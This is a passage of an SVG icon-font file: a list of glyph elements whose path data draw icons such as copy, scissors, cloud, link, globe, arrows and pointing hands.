<glyph unicode="&#xf0c5;" d="M 424,288q 10,0 17-7t 7-17l0-304 q0-10 -7-17t-17-7l-240,0 q-10,0 -17,7t-7,17l0,72 l-136,0 q-10,0 -17,7t-7,17l0,168 q0,10 5,22t 12,19l 102,102q 7,7 19,12t 22,5l 104,0 q 10,0 17-7t 7-17l0-82 q 17,10 32,10l 104,0 zM 288,234.75l-74.75-74.75l 74.75,0 l0,74.75 zM 128,330.75l-74.75-74.75 l 74.75,0 l0,74.75 zM 177,169l 79,79l0,104 l-96,0 l0-104 q0-10 -7-17t-17-7l-104,0 l0-160 l 128,0 l0,64 q0,10 5,22t 12,19zM 416-32l0,288 l-96,0 l0-104 q0-10 -7-17t-17-7l-104,0 l0-160 l 224,0 z"  />
<glyph unicode="&#xf0c4;" d="M 240,160q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75t-11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75zM 315,144l 126.75-99.5q 7-5 6.25-14q-1.25-8.75 -8.75-12.75l-32-16q-3.25-1.75 -7.25-1.75q-4.25,0 -7.75,2l-172.5,96.75l-27.5-16.5q-2-1 -3-1.25q 3.5-12.25 2.5-24.25q-1.75-19.25 -14-36.875t-33-30.875q-33-21 -69.25-21 q-34,0 -55.5,19.5q-22.5,21 -19.75,51.75q 1.75,19 14,36.75t 32.75,31q 33,21 69.5,21q 20.75,0 37.75-7.75q 2.25,3.25 5.5,5.5l 30.5,18.25l-30.5,18.25q-3.25,2.25 -5.5,5.5q-17-7.75 -37.75-7.75q-36.5,0 -69.5,21q-20.5,13.25 -32.75,31t-14,36.75q-1.25,14.75 3.875,28.25t 15.875,23.25q 21.25,19.75 55.5,19.75q 36.25,0 69.25-21q 20.75-13 33-30.75t 14-37 q 1-12 -2.5-24.25q 1-0.25 3-1.25l 27.5-16.5l 172.5,96.75q 3.5,2 7.75,2q 4,0 7.25-1.75l 32-16q 7.5-4 8.75-12.75q 0.75-9 -6.25-14zM 144.75,209q 11.5,10.5 5.25,27t-26.5,29.25q-23,14.75 -48,14.75q-18.5,0 -28.25-9q-11.5-10.5 -5.25-27t 26.5-29.25q 23-14.75 48-14.75q 18.5,0 28.25,9zM 123.5,22.75q 20.25,12.75 26.5,29.25t-5.25,27 q-9.75,9 -28.25,9q-25,0 -48-14.75q-20.25-12.75 -26.5-29.25t 5.25-27q 9.75-9 28.25-9q 25,0 48,14.75zM 168,176l 24-14.5l0,2.75 q0,9 8.25,14l 3.5,2l-19.75,11.75l-6.5-6.5q-0.75-0.75 -2.5-2.75t-3-3q-0.5-0.5 -1-0.875t-0.75-0.625zM 224,120l 24-8l 184,144l-32,16l-192-107.75l0-28.25 l-40-24l 2.25-2q 0.5-0.5 1.75-1.5 q 1-1 2.75-3t 2.75-3l 6.5-6.5zM 400,16l 32,16l-130,102l-44.25-34.5q-0.5-0.75 -3.25-1.75z"  />
<glyph unicode="&#xf0c3;" d="M 381.75,22q 14-22.25 5.375-38.125t-35.125-15.875l-288,0 q-26.5,0 -35.125,15.875t 5.375,38.125l 125.75,198.25l0,99.75 l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 128,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-16,0 l0-99.75 zM 187,203.25l-68-107.25l 178,0 l-68,107.25l-5,7.75l0,9.25 l0,99.75 l-32,0 l0-99.75 l0-9.25 z" horiz-adv-x="416"  />
<glyph unicode="&#xf0c2;" d="M 480,96q0-39.75 -28.125-67.875t-67.875-28.125l-272,0 q-46.25,0 -79.125,32.875t-32.875,79.125q0,33 17.75,60.375t 46.75,40.875q-0.5,7 -0.5,10.75q0,53 37.5,90.5t 90.5,37.5q 39.5,0 71.625-22t 46.875-57.5q 17.5,15.5 41.5,15.5q 26.5,0 45.25-18.75t 18.75-45.25q0-18.75 -10.25-34.5q 32.25-7.5 53.25-33.625t 21-59.875z " horiz-adv-x="480"  />
<glyph unicode="&#xf0c1;" d="M 364,80q0,10 -7,17l-52,52q-7,7 -17,7q-10.5,0 -18-8q 0.75-0.75 4.75-4.625t 5.375-5.375t 3.75-4.75t 3.25-6.375t 0.875-6.875q0-10 -7-17t-17-7q-3.75,0 -6.875,0.875t-6.375,3.25t-4.75,3.75t-5.375,5.375t-4.625,4.75q-8.25-7.75 -8.25-18.25q0-10 7-17l 51.5-51.75q 6.75-6.75 17-6.75q 10,0 17,6.5 l 36.75,36.5q 7,7 7,16.75zM 188.25,256.25q0,10 -7,17l-51.5,51.75q-7,7 -17,7q-9.75,0 -17-6.75l-36.75-36.5q-7-7 -7-16.75q0-10 7-17l 52-52q 6.75-6.75 17-6.75q 10.5,0 18,7.75q-0.75,0.75 -4.75,4.625t-5.375,5.375t-3.75,4.75t-3.25,6.375t-0.875,6.875q0,10 7,17t 17,7q 3.75,0 6.875-0.875t 6.375-3.25t 4.75-3.75 t 5.375-5.375t 4.625-4.75q 8.25,7.75 8.25,18.25zM 412,80q0-30 -21.25-50.75l-36.75-36.5q-20.75-20.75 -50.75-20.75q-30.25,0 -51,21.25l-51.5,51.75q-20.75,20.75 -20.75,50.75q0,30.75 22,52.25l-22,22q-21.5-22 -52-22q-30,0 -51,21l-52,52q-21,21 -21,51t 21.25,50.75l 36.75,36.5q 20.75,20.75 50.75,20.75q 30.25,0 51-21.25l 51.5-51.75 q 20.75-20.75 20.75-50.75q0-30.75 -22-52.25l 22-22q 21.5,22 52,22q 30,0 51-21l 52-52q 21-21 21-51z" horiz-adv-x="416"  />
<glyph unicode="&#xf0c0;" d="M 148.25,160q-40.5-1.25 -66.25-32l-33.5,0 q-20.5,0 -34.5,10.125t-14,29.625q0,88.25 31,88.25q 1.5,0 10.875-5.25t 24.375-10.625t 29.75-5.375q 16.75,0 33.25,5.75q-1.25-9.25 -1.25-16.5q0-34.75 20.25-64zM 416,0.75q0-30 -18.25-47.375t-48.5-17.375l-218.5,0 q-30.25,0 -48.5,17.375t-18.25,47.375q0,13.25 0.875,25.875t 3.5,27.25t 6.625,27.125 t 10.75,24.375t 15.5,20.25t 21.375,13.375t 27.875,5q 2.5,0 10.75-5.375t 18.25-12t 26.75-12t 33.75-5.375t 33.75,5.375t 26.75,12t 18.25,12t 10.75,5.375q 15.25,0 27.875-5t 21.375-13.375t 15.5-20.25t 10.75-24.375t 6.625-27.125t 3.5-27.25t 0.875-25.875zM 160,320q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25t 18.75,45.25t 45.25,18.75t 45.25-18.75 t 18.75-45.25zM 336,224q0-39.75 -28.125-67.875t-67.875-28.125t-67.875,28.125t-28.125,67.875t 28.125,67.875t 67.875,28.125t 67.875-28.125t 28.125-67.875zM 480,167.75q0-19.5 -14-29.625t-34.5-10.125l-33.5,0 q-25.75,30.75 -66.25,32q 20.25,29.25 20.25,64q0,7.25 -1.25,16.5q 16.5-5.75 33.25-5.75q 14.75,0 29.75,5.375t 24.375,10.625 t 10.875,5.25q 31,0 31-88.25zM 448,320q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25t 18.75,45.25t 45.25,18.75t 45.25-18.75t 18.75-45.25z" horiz-adv-x="480"  />
<glyph unicode="&#xf0b2;" d="M 320.75,248.75l-88.75-88.75l 88.75-88.75l 36,36q 7.25,7.75 17.5,3.5q 9.75-4.25 9.75-14.75l0-112 q0-6.5 -4.75-11.25t-11.25-4.75l-112,0 q-10.5,0 -14.75,10q-4.25,9.75 3.5,17.25l 36,36l-88.75,88.75l-88.75-88.75l 36-36q 7.75-7.5 3.5-17.25q-4.25-10 -14.75-10l-112,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,112 q0,10.5 10,14.75q 9.75,4.25 17.25-3.5l 36-36 l 88.75,88.75l-88.75,88.75l-36-36q-4.75-4.75 -11.25-4.75q-3,0 -6,1.25q-10,4.25 -10,14.75l0,112 q0,6.5 4.75,11.25t 11.25,4.75l 112,0 q 10.5,0 14.75-10q 4.25-9.75 -3.5-17.25l-36-36l 88.75-88.75l 88.75,88.75l-36,36q-7.75,7.5 -3.5,17.25q 4.25,10 14.75,10l 112,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-112 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.5,0 -11.25,4.75z " horiz-adv-x="384"  />
<glyph unicode="&#xf0b1;" d="M 160,320l 128,0 l0,32 l-128,0 l0-32 zM 448,160l0-120 q0-16.5 -11.75-28.25t-28.25-11.75l-368,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,120 l 168,0 l0-40 q0-6.5 4.75-11.25t 11.25-4.75l 80,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,40 l 168,0 zM 256,160l0-32 l-64,0 l0,32 l 64,0 zM 448,280l0-96 l-448,0 l0,96 q0,16.5 11.75,28.25t 28.25,11.75l 88,0 l0,40 q0,10 7,17 t 17,7l 144,0 q 10,0 17-7t 7-17l0-40 l 88,0 q 16.5,0 28.25-11.75t 11.75-28.25z"  />
<glyph unicode="&#xf0b0;" d="M 350.75,310.25q 4.25-10.25 -3.5-17.5l-123.25-123.25l0-185.5 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.75,0 -11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25l0,121.5 l-123.25,123.25q-7.75,7.25 -3.5,17.5q 4.25,9.75 14.75,9.75l 320,0 q 10.5,0 14.75-9.75z" horiz-adv-x="352"  />
<glyph unicode="&#xf0ae;" d="M 256,32l 160,0 l0,32 l-160,0 l0-32 zM 160,160l 256,0 l0,32 l-256,0 l0-32 zM 320,288l 96,0 l0,32 l-96,0 l0-32 zM 448,80l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,208l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75 t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,336l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf0ad;" d="M 96,16q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 257,121l-170.5-170.5q-9.25-9.25 -22.5-9.25q-13,0 -22.75,9.25l-26.5,27q-9.5,9 -9.5,22.5q0,13.25 9.5,22.75l 170.25,170.25q 9.75-24.5 28.625-43.375t 43.375-28.625zM 415.5,229.75q0-9.75 -5.75-26.5q-11.75-33.5 -41.125-54.375 t-64.625-20.875q-46.25,0 -79.125,32.875t-32.875,79.125t 32.875,79.125t 79.125,32.875q 14.5,0 30.375-4.125t 26.875-11.625q 4-2.75 4-7t-4-7l-73.25-42.25l0-56 l 48.25-26.75q 1.25,0.75 19.75,12.125t 33.875,20.25t 17.625,8.875q 3.75,0 5.875-2.5t 2.125-6.25z" horiz-adv-x="416"  />
<glyph unicode="&#xf0ac;" d="M 192,352q 52.25,0 96.375-25.75t 69.875-69.875t 25.75-96.375t-25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75zM 260.5,221.75q-0.5-0.25 -2.375-2.375t-3.375-2.375q 0.5,0 1.125,1.25t 1.25,2.75t 0.875,1.75q 1.5,1.75 5.5,3.75q 3.5,1.5 13,3q 8.5,2 12.75-2.75 q-0.5,0.5 2.375,3.25t 3.625,3q 0.75,0.5 3.75,1.125t 3.75,1.875l 0.5,5.5q-3-0.25 -4.375,1.75t-1.625,5.25q0-0.5 -1.5-2q0,1.75 -1.125,2t-2.875-0.25t-2.25-0.25q-2.5,0.75 -3.75,1.875t-2,4.125t-1,3.75q-0.5,1.25 -2.375,2.625t-2.375,2.625q-0.25,0.5 -0.625,1.375t-0.75,1.625t-1,1.375t-1.375,0.625t-1.75-1.25t-1.875-2.5t-1.125-1.25q-0.75,0.5 -1.5,0.375t-1.125-0.25t-1.125-0.75t-1.25-0.875 q-0.75-0.5 -2.125-0.75t-2.125-0.5q 3.75,1.25 -0.25,2.75q-2.5,1 -4,0.75q 2.25,1 1.875,3t-2.125,3.5l 1.25,0 q-0.25,1 -2.125,2.125t-4.375,2.125t-3.25,1.5q-2,1.25 -8.5,2.375t-8.25,0.125q-1.25-1.5 -1.125-2.625t 1-3.5t 0.875-3.125q 0.25-1.5 -1.375-3.25t-1.625-3q0-1.75 3.5-3.875t 2.5-5.375q-0.75-2 -4-4t-4-3q-1.25-2 -0.375-4.625t 2.625-4.125 q 0.5-0.5 0.375-1t-0.875-1.125t-1.375-1t-1.625-0.875l-0.75-0.5q-2.75-1.25 -5.125,1.5t-3.375,6.5q-1.75,6.25 -4,7.5q-5.75,2 -7.25-0.25q-1.25,3.25 -10.25,6.5q-6.25,2.25 -14.5,1q 1.5,0.25 0,3.75q-1.75,3.75 -4.75,3q 0.75,1.5 1,4.375t 0.25,3.375q 0.75,3.25 3,5.75q 0.25,0.25 1.75,2.125t 2.375,3.375t 0.125,1.5q 8.75-1 12.5,2.75q 1.25,1.25 2.875,4.25t 2.625,4.25q 2.25,1.5 3.5,1.375t 3.625-1.375 t 3.625-1.25q 3.5-0.25 3.875,2.75t-1.875,5q 3-0.25 0.75,4.25q-1.25,1.75 -2,2.25q-3,1 -6.75-1.25q-2-1 0.5-2q-0.25,0.25 -2.375-2.625t-4.125-4.375t-4,1.25q-0.25,0.25 -1.375,3.375t-2.375,3.375q-2,0 -4-3.75q 0.75,2 -2.75,3.75t-6,2q 4.75,3 -2,6.75q-1.75,1 -5.125,1.25t-4.875-1q-1.25-1.75 -1.375-2.875t 1.25-2t 2.625-1.375t 2.875-1t 2.125-0.75 q 3.5-2.5 2-3.5q-0.5-0.25 -2.125-0.875t-2.875-1.125t-1.5-1q-0.75-1 0-3.5t-0.5-3.5q-1.25,1.25 -2.25,4.375t-1.75,4.125q 1.75-2.25 -6.25-1.5l-2.5,0.25q-1,0 -4-0.5t-5.125-0.25t-3.375,2q-1,2 0,5q 0.25,1 1,0.5q-1,0.75 -2.75,2.375t-2.5,2.125q-11.5-3.75 -23.5-10.25q 1.5-0.25 3,0.25q 1.25,0.5 3.25,1.625t 2.5,1.375q 8.5,3.5 10.5,1.75l 1.25,1.25q 3.5-4 5-6.25 q-1.75,1 -7.5,0.25q-5-1.5 -5.5-3q 1.75-3 1.25-4.5q-1,0.75 -2.875,2.5t-3.625,2.75t-3.75,1.25q-4,0 -5.5-0.25q-36.5-20 -58.75-55.5q 1.75-1.75 3-2q 1-0.25 1.25-2.25t 0.625-2.75t 2.875,0.75q 2.25-2 0.75-4.75q 0.25,0.25 11-6.75q 4.75-4.25 5.25-5.25q 0.75-2.75 -2.5-4.5q-0.25,0.5 -2.25,2.25t-2.25,1q-0.75-1.25 0.125-4.625t 2.625-3.125q-1.75,0 -2.375-4t-0.625-8.875 t-0.25-5.875l 0.5-0.25q-0.75-3 1.375-8.625t 5.375-4.875q-3.25-0.75 5-10.75q 1.5-2 2-2.25q 0.75-0.5 3-1.875t 3.75-2.5t 2.5-2.625q 1-1.25 2.5-5.625t 3.5-5.875q-0.5-1.5 2.375-5t 2.625-5.75q-0.25,0 -0.625-0.25t-0.625-0.25q 0.75-1.75 3.875-3.5t 3.875-3.25q 0.25-0.75 0.5-2.5t 0.75-2.75t 2-0.5q 0.5,5 -6,15.5q-3.75,6.25 -4.25,7.25q-0.75,1.25 -1.375,3.875 t-1.125,3.625q 0.5,0 1.5-0.375t 2.125-0.875t 1.875-1t 0.5-0.75q-0.75-1.75 0.5-4.375t 3-4.625t 4.25-4.75t 3-3.25q 1.5-1.5 3.5-4.875t0-3.375q 2.25,0 5-2.5t 4.25-5q 1.25-2 2-6.5t 1.25-6q 0.5-1.75 2.125-3.375t 3.125-2.375l 4-2t 3.25-1.75q 1.25-0.5 4.625-2.625t 5.375-2.875q 2.5-1 4-1t 3.625,0.625t 3.375,0.875q 3.75,0.5 7.25-3.75t 5.25-5.25 q 9-4.75 13.75-2.75q-0.5-0.25 0.125-1.875t 2-3.875t 2.25-3.625t 1.375-2.125q 1.25-1.5 4.5-3.75t 4.5-3.75q 1.5,1 1.75,2.25q-0.75-2 1.75-5t 4.5-2.5q 3.5,0.75 3.5,8q-7.75-3.75 -12.25,4.5q0,0.25 -0.625,1.375t-1,2.125t-0.625,2.125t0,1.875t 1.25,0.75q 2.25,0 2.5,0.875t-0.5,3.125t-1,3.25q-0.25,2 -2.75,5t-3,3.75q-1.25-2.25 -4-2t-4,2.25q0-0.25 -0.375-1.375t-0.375-1.625 q-3.25,0 -3.75,0.25q 0.25,0.75 0.625,4.375t 0.875,5.625q 0.25,1 1.375,3t 1.875,3.625t 1,3.125t-1.125,2.375t-4.375,0.625q-4.75-0.25 -6.5-5q-0.25-0.75 -0.75-2.625t-1.25-2.875t-2.25-1.75q-1.75-0.75 -6-0.5t-6,1.25q-3.25,2 -5.625,7.25t-2.375,9.25q0,2.5 0.625,6.625t 0.75,6.25t-1.375,6.125q 0.75,0.5 2.25,2.375t 2.5,2.625q 0.5,0.25 1.125,0.375t 1.125,0t 1,0.375t 0.75,1.5q-0.25,0.25 -1,0.75 q-0.75,0.75 -1,0.75q 1.75-0.75 7.125,0.375t 6.875-0.375q 3.75-2.75 5.5,0.5q0,0.25 -0.625,2.375t-0.125,3.375q 1.25-6.75 7.25-2.25q 0.75-0.75 3.875-1.25t 4.375-1.25q 0.75-0.5 1.75-1.375t 1.375-1.125t 1.25,0.125t 2.125,1.625q 2.5-3.5 3-6q 2.75-10 4.75-11q 1.75-0.75 2.75-0.5t 1.125,2.375t0,3.5t-0.375,3.125l-0.25,2l0,4.5 l-0.25,2q-3.75,0.75 -4.625,3t 0.375,4.625t 3.75,4.625q 0.25,0.25 2,0.875 t 3.875,1.625t 3.125,2q 5.25,4.75 3.75,8.75q 1.75,0 2.75,2.25q-0.25,0 -1.25,0.75t-1.875,1.25t-1.125,0.5q 2.25,1.25 0.5,4q 1.25,0.75 1.875,2.75t 1.875,2.5q 2.25-3 5.25-0.5q 1.75,2 0.25,4q 1.25,1.75 5.125,2.625t 4.625,2.375q 1.75-0.5 2,0.5t 0.25,3t 0.75,3q 1,1.25 3.75,2.25t 3.25,1.25l 4.25,2.75q 0.75,1 0,1q 4.5-0.5 7.75,2.75q 2.5,2.75 -1.5,5q 0.75,1.5 -0.75,2.375t-3.75,1.375q 0.75,0.25 2.875,0.125t 2.625,0.375 q 3.75,2.5 -1.75,4q-4.25,1.25 -10.75-3zM 219.75,2.5q 51.5,9 87.75,47.25q-0.75,0.75 -3.125,1.125t-3.125,0.875q-4.5,1.75 -6,2q 0.25,1.75 -0.625,3.25t-2,2.25t-3.125,2t-2.75,1.75q-0.5,0.5 -1.75,1.5t-1.75,1.375t-1.875,1.125t-2.125,0.5t-2.5-0.25l-0.75-0.25q-0.75-0.25 -1.375-0.625t-1.375-0.75t-1-0.75t0-0.625q-5.25,4.25 -9,5.5q-1.25,0.25 -2.75,1.375t-2.625,1.75t-2.5,0.375t-2.875-1.75 q-1.25-1.25 -1.5-3.75t-0.5-3.25q-1.75,1.25 0,4.375t 0.5,4.625q-0.75,1.5 -2.625,1.125t-3-1.125t-2.875-2.125t-2.25-1.625t-2.125-1.375t-2.125-1.875q-0.75-1 -1.5-3t-1.25-2.75q-0.5,1 -2.875,1.625t-2.375,1.375q 0.5-2.5 1-8.75t 1.25-9.5q 1.75-7.75 -3-12q-6.75-6.25 -7.25-10q-1-5.5 3-6.5q0-1.75 -2-5.125t-1.75-5.375q0-1.5 0.5-4z" horiz-adv-x="384"  />
<glyph unicode="&#xf0ab;" d="M 321,159.75q0,6.75 -4.5,11.25l-22.75,22.75q-4.5,4.5 -11.25,4.5t-11.25-4.5l-47.25-47.25l0,125.5 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-125.5 l-47.25,47.25q-4.75,4.75 -11.25,4.75t-11.25-4.75l-22.75-22.75q-4.5-4.5 -4.5-11.25t 4.5-11.25l 90.5-90.5l 22.75-22.75q 4.5-4.5 11.25-4.5t 11.25,4.5l 22.75,22.75l 90.5,90.5q 4.5,4.5 4.5,11.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf0aa;" d="M 321,160.25q0,6.75 -4.5,11.25l-90.5,90.5l-22.75,22.75q-4.5,4.5 -11.25,4.5t-11.25-4.5l-22.75-22.75l-90.5-90.5q-4.5-4.5 -4.5-11.25t 4.5-11.25l 22.75-22.75q 4.5-4.5 11.25-4.5t 11.25,4.5l 47.25,47.25l0-125.5 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,125.5 l 47.25-47.25q 4.75-4.75 11.25-4.75t 11.25,4.75l 22.75,22.75q 4.5,4.5 4.5,11.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf0a9;" d="M 321.25,160q0,6.75 -4.5,11.25l-22.75,22.75l-90.5,90.5q-4.5,4.5 -11.25,4.5t-11.25-4.5l-22.75-22.75q-4.5-4.5 -4.5-11.25t 4.5-11.25l 47.25-47.25l-125.5,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 125.5,0 l-47.25-47.25q-4.75-4.75 -4.75-11.25t 4.75-11.25l 22.75-22.75q 4.5-4.5 11.25-4.5t 11.25,4.5l 90.5,90.5l 22.75,22.75q 4.5,4.5 4.5,11.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf0a8;" d="M 320,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-125.5,0 l 47.25,47.25q 4.75,4.75 4.75,11.25t-4.75,11.25l-22.75,22.75q-4.5,4.5 -11.25,4.5t-11.25-4.5l-90.5-90.5l-22.75-22.75q-4.5-4.5 -4.5-11.25t 4.5-11.25l 22.75-22.75l 90.5-90.5q 4.5-4.5 11.25-4.5t 11.25,4.5l 22.75,22.75q 4.5,4.5 4.5,11.25t-4.5,11.25l-47.25,47.25l 125.5,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf0a7;" d="M 352,144q0,21 -8,45.75t-16,48.5t-8,41.75l0,8 l-160,0 l0-8 q0-8.75 -3-16.875t-9.25-15.625t-11.5-12.5t-13.5-12.25q-2.25-2 -3.5-3q-20.25-18 -36.25-28q-5.5-3.5 -17-9.5q-0.75-0.25 -5.625-2.625t-9-4.625t-8.875-5t-7.625-5.375t-2.875-4.625q0-17.75 7.625-28.875t 24.375-11.125q 10.75,0 21.125,3.75t 17,8.25 t 13.75,8.25t 12.125,3.75l0-144 q0-12.5 9.625-22.25t 22.375-9.75q 13,0 22.5,9.5t 9.5,22.5l0,82.75 q 11.5-8.75 25.75-8.75q 17.25,0 29.75,13.25q 8-4.5 17.25-4.5t 18.375,4.375t 13.125,11.875q 6-1 14-1q 21.25,0 31.5,12.125t 10.25,33.875zM 320,336q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 384,145 q0-35.5 -19.375-57.5t-54.375-21.75l-1.25,0.25q-19-15.25 -44.5-15.25q-5.5,0 -10.75,0.75q-13.5-7.5 -29.75-9.25l0-42.25 q0-26.25 -19-45.125t-45.25-18.875q-25.75,0 -44.75,19t-19,45l0,93.5 q-13.5-5.5 -32-5.5q-30.25,0 -47.125,20.375t-16.875,51.625q0,9.5 4.375,17.375t 12.375,13.75t 15.75,10.125t 18,9.25t 15.5,8.25q 13.75,8.75 32.25,25 q 0.75,0.5 4.25,3.5t 5.375,4.75t 5.375,5.125t 5.625,6t 4.5,5.625t 3.5,5.875t 1.125,5.375l0,72 q0,13.25 9.375,22.625t 22.625,9.375l 160,0 q 13.25,0 22.625-9.375t 9.375-22.625l0-72 q0-14.75 14.75-55.75q 17.25-47.5 17.25-79.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf0a6;" d="M 320-16q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,175q0,47.25 -41.75,47.25q-6.5,0 -14-1.25q-4,7.5 -13.125,11.875t-18.375,4.375t-17.25-4.5q-12.5,13.25 -29.75,13.25q-6.25,0 -13.875-2.5t-11.875-6.25l0,82.75 q0,13 -9.5,22.5t-22.5,9.5q-12.75,0 -22.375-9.75t-9.625-22.25l0-144  q-5,0 -12.125,3.75t-13.75,8.25t-17,8.25t-21.125,3.75q-16.75,0 -24.375-11.125t-7.625-28.875q0-6 34.75-22.5q 11-6 16.25-9.25q 16-10 36.25-28q 20.25-17.75 26.5-25.25q 14.25-17.25 14.25-35l0-8 l 160,0 l0,8 q0,18 8,41.75t 16,48.375t 8,44.875zM 384,176.25q0-33.25 -17.25-80.5q-14.75-41 -14.75-55.75l0-72 q0-13.25 -9.375-22.625 t-22.625-9.375l-160,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,72 q0,2.5 -1.125,5.375t-3.5,5.875t-4.5,5.625t-5.625,6t-5.375,5.125t-5.375,4.75t-4.25,3.5q-18.5,16.25 -32.25,25q-5.25,3.25 -15.5,8.25t-18,9.25t-15.75,10.125t-12.375,13.75t-4.375,17.375q0,31.25 16.75,51.625t 47.25,20.375q 17,0 32-5.5l0,93.5 q0,26 19,45t 44.75,19 q 26.25,0 45.25-18.875t 19-45.125l0-42.25 q 15.5-1 29.75-9.25q 5.25,0.75 10.75,0.75q 25.25,0 44.5-15q 34.75,0.25 54.875-21.25t 20.125-56.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf0a5;" d="M 344,32l 8,0 l0,160 l-8,0 q-8.75,0 -16.875,3t-15.625,9.25t-12.5,11.5t-12.25,13.5q-0.5,0.75 -0.875,1.125t-1,1.125t-1.125,1.25q-18,20.25 -28,36.25q-3.5,5.5 -9.5,17q-0.25,0.75 -2.625,5.625t-4.625,9t-5,8.875t-5.375,7.625t-4.625,2.875q-17.75,0 -28.875-7.625t-11.125-24.375q0-10.75 3.75-21.125t 8.25-17t 8.25-13.75t 3.75-12.125l-144,0  q-12.5,0 -22.25-9.625t-9.75-22.375q0-13 9.5-22.5t 22.5-9.5l 82.75,0 q-3.75-4.25 -6.25-11.875t-2.5-13.875q0-17.25 13.25-29.75q-4.5-8 -4.5-17.25t 4.375-18.375t 11.875-13.125q-1-6 -1-14q0-21.25 12.125-31.5t 33.875-10.25q 21,0 45.75,8t 48.5,16t 41.75,8zM 416,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25 t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 448,192l0-160 q0-13.25 -9.375-22.625t-22.625-9.375l-72,0 q-14.75,0 -55.75-14.75q-47.5-17.25 -79.25-17.25q-35.5,0 -57.5,19.375t-21.75,54.375l 0.25,1.25q-15.25,19 -15.25,44.5q0,5.5 0.75,10.75q-8.25,14.25 -9.25,29.75l-42.25,0 q-26.25,0 -45.125,19t-18.875,45.25q0,25.75 19,44.75t 45,19l 93.5,0 q-5.5,15 -5.5,32 q0,30.5 20.375,47.25t 51.625,16.75q 9.5,0 17.375-4.375t 13.75-12.375t 10.125-15.75t 9.25-18t 8.25-15.5q 8.75-13.75 25-32.25q 0.5-0.75 3.5-4.25t 4.75-5.375t 5.125-5.375t 6-5.625t 5.625-4.5t 5.875-3.5t 5.375-1.125l 72,0 q 13.25,0 22.625-9.375t 9.375-22.625z"  />
